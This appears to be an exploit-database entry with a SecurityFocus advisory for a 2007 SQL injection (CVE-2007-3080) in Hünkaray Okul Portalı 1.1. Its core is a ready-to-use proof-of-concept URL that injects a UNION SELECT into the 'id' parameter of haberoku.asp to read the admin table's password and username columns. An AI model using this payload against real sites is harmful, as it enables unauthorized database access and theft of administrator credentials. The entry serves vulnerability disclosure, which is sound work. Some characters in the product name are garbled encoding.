Hunkaray Okul Portaly 1.1 - 'Haberoku.asp' SQL Injection

Author: ertuqrul
type: webapps
platform: asp
port: 
date_added: 2007-06-04 
date_updated: 2013-12-08 
verified: 1 
codes: CVE-2007-3080;OSVDB-38802 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/24288/info

HÃ¼nkaray Okul PortalÃ½ is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

HÃ¼nkaray Okul PortalÃ½ 1.1 is vulnerable to this issue.

http://www.example.com/okul/haberoku.asp?id=11%20union+select+0,sifre,kullaniciadi,3,4+from+admin